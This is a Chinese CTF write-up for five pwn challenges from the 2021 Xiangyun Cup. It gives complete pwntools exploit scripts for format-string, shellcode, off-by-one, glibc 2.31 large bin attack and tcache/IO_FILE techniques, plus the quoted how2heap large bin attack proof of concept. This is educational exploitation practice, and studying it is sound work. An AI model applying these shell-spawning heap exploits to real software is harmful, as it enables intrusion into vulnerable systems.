【Pwn】2021 祥云杯 (部分)
前言
国庆的最后几天,一直在补题,发现祥云杯那个时候一道堆题都不会,直接开始补题。
补题过程中,发现自己还是太菜了,对着师傅们的wp都有些不明白.jpg
1、note
这应该是祥云杯里最简单的题目了QAQ。但是之前没有学过IO,参考一位师傅写的这篇博客,pwn题堆利用的一些姿势 -- IO_FILE
漏洞点在于scanf的格式化字符串,可以任意位置写。发现stack中有_IO_2_1_stdout_
那么,我们写入p64(0xfbad1800) + p64(0)*3来泄露libc,最后再用scanf的任意写,向malloc_hook中写入one_gadget,用realloc_hook调栈帧,从而getshell
exp如下
def cmd(idx):
sla(":",str(idx))
def add(size,content="a"):
cmd(1)
sla(":",str(size))
sla(":",content)
ru("0x")
return(i16(r(12)))
def say(buf,content):
cmd(2)
sa("?",buf)
sla("?",content)
say(b"%7$s",p64(0xfbad1800) + p64(0)*3)
libc.address = uu64(ru(b"\x7f",False)[-6:])-(0x7f2ee70626e0-0x7f2ee6c9f000)
leak("libc_base",libc.address)
malloc_hook = libc.sym["__malloc_hook"]
realloc_hook = malloc_hook-0x8
realloc = libc.sym['realloc']
ogs = og(libc.path)[1] + libc.address
leak("malloc_hook",malloc_hook)
say(b"%7$saaaa"+p64(realloc_hook),p64(ogs)+p64(realloc+0x8))
# dbg()
cmd(1)
sla(":","10")
ia()
2、JigSaw'sCage
这题首先需要得到一个具有可执行权限的chunk,通过v1的整数溢出来将v2改写
然后就是申请堆块写入shellcode,一段shellcode的最大长度为0x10
看了很多wp,有分很多小段写入shellcode的师傅,也有通过非常精妙的寄存器执行read函数再来执行的sh()的shellcode,这里用wjh师傅的超短shellcode
我们注意到test函数就是执行我们写入堆中的shellcode,并且是通过call rdx来调用,这里的rdx就是heap的地址,并且在call之前是将eax置为0了,而read函数的系统调用号也是0。
所以我们只需要来构建一个read(0,heap,0x1000),就可以向heap段写入0x1000大小的内容,并且具有可执行权限,所以直接向其中输入shellcraft.sh()就可以了,在这之前使用nop滑梯就完成了!
shellcode = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''
# shellcode 最长0x10, 充分利用调用时各个寄存器的值
# 程序使用了 call rdx ,这里 rdx 为 heap 段地址,并且 eax 给置 0
# 进行 0 号系统调用 read 读到我们正在执行的 heap 中0x1000大小
完整exp如下:
sla("Name:","woodwhale")
sla("Make your Choice:",str(u64(p32(0)+p32(15))))
# add 0
sla("Choice : ","1")
sla("Index? : ","0")
shellcode = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''
shellcode = asm(shellcode)
# edit 0
sla("Choice : ","2")
sla("Index? : ","0")
sla("iNput:",shellcode)
# test 0
sla("Choice : ","4")
sla("Index? : ","0")
# get shell
sl(b'\x90' * 0x10 + asm(shellcraft.sh()))
# dbg()
ia()
3、PassWordBox_FreeVersion
这题的话,有一个加密操作,用key和咱们box中的content进行xor加密,如果我们的content为空,那么就会输出key
这里用到add()函数中的一个off by one漏洞,真的是显而易见
因为这题的edit函数只能操作一次,所以我们需要给到一个free_chunk的fd指针改为一个hook
那么我们只能通过堆叠的操作来得到free_hook,并向其中写入system,最后free("sh")就能getshell了
完整exp如下:
# leak key
add("a",0x18,"\x00"*8+"\n") # 0
ru(" Save ID:")
key = uu64(r(8))
leak("key",key)
# 构造堆叠
add("1",0xf0,"\x00"*8+"\n") # 1
add("2",0x80,"\x00"*8+"\n") # 2
add("3",0x80,"\x00"*8+"\n") # 3
add("4",0xf0,"\x00"*8+"\n") # 4
for i in range(5,12):
add(str(i),0xf0,"\x00"*8+"\n") # 5-11
for i in range(7):
free(5+i)
free(3)
# 伪造prev size进行向上合并,可以使用指针2
add("3",0x88,b"\x00"*0x80+p64((0x100 + 0x90 + 0x90)^key)+b"\x00")
free(1)
free(4)
for i in range(7):
add(str(i+5),0xf0,"\x00"*8+"\n") # 5-11
add("1",0xf0,"\x00"*8+"\n") # 1
# leak libc
show(2)
ru("Pwd is: ")
malloc_hook = (u64(r(8))^key) - 112
leak("malloc",malloc_hook)
libc.address = malloc_hook - libc.sym["__malloc_hook"]
leak("base",libc.address)
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
# free_hook写入system,free("sh")来getshell
add("11",0x80,p64(0^key)*4+b"\n")
add("12",0x80,p64(0^key)*4+b"\n")
free(11)
edit(2,p64(free_hook))
add("11",0x80,p64(0x6873^key)*4+b"\n") # "sh" -> 0x6973
add("12",0x80,p64(system^key)*4+b"\n")
free(11)
ia()
4、PassWordBox_ProVersion
这题真的是学到新东西了,libc版本是比较新的2.31,所以很多攻击都失效了,这里使用的是对我来说船新的large bin attack,参考一位师傅的这篇博客,[阅读型]glibc-2.31中的tcache stashing unlink与large bin attack,还有how2heap的2.31中的large bin attack
1. large bin attack
在开始分析题目之前,我们来了解一下glibc2.31中的large bin attack(与网上多数的2.23的large bin attack不一样)
作用:任意地址写大数(这个大数其实是chunk指针)
条件:可以更改chunk的bk_next指针
以下是how2heap中的2.31的large bin attack源码
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
printf("====================================================================\n\n");
size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("\n");
printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0;
}
运行结果:
如何构造?
- ptr1比ptr2大,申请了ptr1之后将其free
- malloc一个比ptr1大的chunk(为了让ptr1进入large bin)
- free掉ptr2,将ptr1的bk_next改为target-0x20的地址
- malloc一个比ptr2大的chunk(让ptr2进入large bin)
至此,target成为了ptr2的地址值
2. tcache
我们看看tcache_perthread_struct结构体的源码
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
static __thread tcache_perthread_struct *tcache = NULL;
- tcache_entry 用单向链表的方式链接了相同大小的处于空闲状态(free 后)的 chunk
- counts 记录了 tcache_entry 链上空闲 chunk 的数目,每条链上最多可以有 7 个 chunk
tcache_entry数组的大小为TCACHE_MAX_BINS,其实这就是tcache的最大数量,宏定义为64
结合large bin attac,如果我们可以将这个TCACHE_MAX_BINS数改成一个大数,那么是不是我们每次malloc的chunk块free之后都会进入tcache呢?!
答案是肯定的!
3. 漏洞利用
和上一题一样,仍然是通过box的content为空来泄露key值
因为add函数中只能malloc大于0x41F的chunk,所以考虑large bin attack
delete函数中明显的uaf,没有将ptr指针置为0
与上一题相比,edit没有次数限制
综上,我们使用large bin attac攻击TCACHE_MAX_BINS成为一个大数,然后改写free_hook为system,free("sh")
完整exp如下:
add(0,0x528,"\n")
ru("Save ID:")
key = uu64(r(8))
leak("key",key)
add(1,0x500,"\n")
add(2,0x518,"\n")
add(3,0x500,"\n")
add(4,0x500,"\n")
free(0)
recover(0)
show(0)
ru("Pwd is: ")
libc.address = (uu64(r(8)) ^ key) - (0x7f18037d3bea-0x7f18035e8000)
leak("base",libc.address)
add(5,0x538,"\n") # put 0 to large bin
tcache_max_bins = libc.address + 0x1eb2d0
tcache_struct = libc.address + 0x1f3530
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
leak("tcache_max_bins",tcache_max_bins)
free(2)
recover(2)
show(0)
ru("Pwd is: ")
fd = uu64(r(8)) ^ key
r(8)
fd_next = uu64(r(8)) ^ key
edit(0,p64(fd)*2+p64(fd_next)+p64(tcache_max_bins-0x20))
# set tcache_max_bins to vary big
add(6,0x530,"\n") # put 2 to largebin
sleep(1)
free(1)
free(4)
recover(4)
edit(4,p64(free_hook))
add(7,0x500,"\n")
add(8,0x500,"\n")
edit(8,p64(system))
# dbg()
sleep(0.1)
edit(3,b"/bin/sh\x00")
# dbg()
free(3)
# dbg()
ia()
这题比较坑的就是large bin attack后,gdb调试使用par指令查不到,只能用heap,调试就很烦Orz
5、lemon
这题我觉得是祥云杯这几题里最难的了QAQ,我调了一个下午+一个晚上...
比赛的时候pwn神师傅穿了真的是tqltql,感谢pwn神师傅niyah的libc2.26帮助
(虽然glibc是yyds,但是old_list里的libc2.26资源被删了阿!!!无法下载QAQ)
1. main
main函数中有一个open("./flag",0)
很显眼,而而执行他的条件是v4>0
,而v4又是一个函数的返回值
2. sub_DF3
我们跟进这个函数,因为自己逆向太拉了,所以参考了一位师傅的2021 祥云杯 pwn lemon_pwn,分析很完整
我直接输入“1111”发现也是可以的
这样,我们就将flag的内容写入了stack上
3. menu
然后就进入了常规的菜单了,四个函数都有
add中有个uaf
show可以泄露chunk后四位地址
delete删除的很干净,就没的说了
edit函数有一个数组越界,只能edit一次
4. 漏洞利用
我们利用uaf、tcache double free和数组越界来通过stdout读取stack中的flag
先用数组越界来更改stdout,从而获取libc_base
通过bss段计算ptr_list与stdout的偏移为0x10c
更改stdout为
p64(0xfbad3887)+p64(0)*3+p8(0)
这样泄露出来的第一个addr是_IO_2_1_stdin_
通过libc2.26的tcache的double free来构造chunk,最后申请到tcache的管理块,改写管理块
改写tcache为
_IO_2_1_stdout_-0x33
(类似fast bin,绕过检测)改写stdout为
p64(0xfbad1887)+p64(0)*3+p64(libc.sym["environ"])+p64(libc.sym["environ"]+0x10)[0:5]
泄露stack environ
free tcache管理块并再次申请,改写为
_IO_2_1_stdout_-0x33
再次改写stdout为flag的address(在此之前动调偏移量),打印flag
exp如下:
def cmd(idx):
sla(">>>",str(idx))
def add(index,name,size,content,flag=True):
cmd(1)
sla("Input the index of your lemon: ",str(index))
sa("Now, name your lemon: ",name)
sla("Input the length of message for you lemon: ",str(size))
if flag:
sa("Leave your message: ",content)
def show(index):
cmd(2)
sla("Input the index of your lemon : ",str(index))
def free(index):
cmd(3)
sla("Input the index of your lemon : ",str(index))
def edit(index,content):
sleep(1)
cmd(4)
sla(":",str(index))
ru("Now it's your time to draw and color!")
s(content)
def pwn():
info("flag to stack")
sla("game with me?","yes")
sla("number:","1111")
sla("first:","woodwhale")
ru("0x")
stack_offset = i16(r(3))
leak("stack_offset",stack_offset)
info("IO_stdout leak libc")
add(0,p64(0)+p64(0x31),0x10,p64(0)+p64(0x31))
edit(-0x10c,p64(0xfbad3887)+p64(0)*3+p8(0)) # io_stdout leak libc
libc.address = uu64(ru(b"\x7f",False)[-6:])-(0x7f28418aa3e0-0x7f28414d3000)
leak("base",libc.address)
ru("1. Get a lemon")
info("tcache double free")
add(0,p64(0)+p64(0x31),0x500,null,False)
free(0)
add(1,p8(0xc0),0x100,"aaa")
# dbg()
add(1,p64(0)+p64(0x30),0x100,"aaa")
# dbg()
show(1)
sleep(0.1)
ru("eat eat eat ")
heap_addr = int(r(5),10)
leak("heap_addr",heap_addr)
# dbg()
add(2,p64(libc.sym["__free_hook"])+p16(heap_addr-0x2b0+0x10),0x100,"aaa")
free(1)
# dbg()
add(3,'3',0x240,
p64(0x0000020000000000)+p64(0)*3+p64(0x0000000001000000)+
p64(0)*5+p64(libc.sym["_IO_2_1_stdout_"]-0x33)*10
)
dbg()
add(0,"0",0x60,
b"a"*(0x33-0x10)+p64(0x71)*2+
p64(0xfbad1887)+p64(0)*3+p64(libc.sym["environ"])+p64(libc.sym["environ"]+0x10)[0:5]
)
# dbg()
stack = uu64(ru("\x7f",False)[-6:])
leak("stack_info",stack)
# dbg()
free(3)
add(3,'3',0x240,
p64(0x0000020000000000)+p64(0)*3+p64(0x0000000001000000)+
p64(0)*5+p64(libc.sym["_IO_2_1_stdout_"]-0x33)*10
)
add(0,"0",0x60,
b"a"*(0x33-0x10)+p64(0x71)*2+
p64(0xfbad1887)+p64(0)*3+p64(stack-0x188)+p64(stack-0x178)[:5]
)
ru("\n")
flag = ru("}",False)
info(f"{flag}")
ia()
hack(pwn)
总结
国庆补题结束,马上就是省赛了,我equals菜狗!别爆0就是胜利!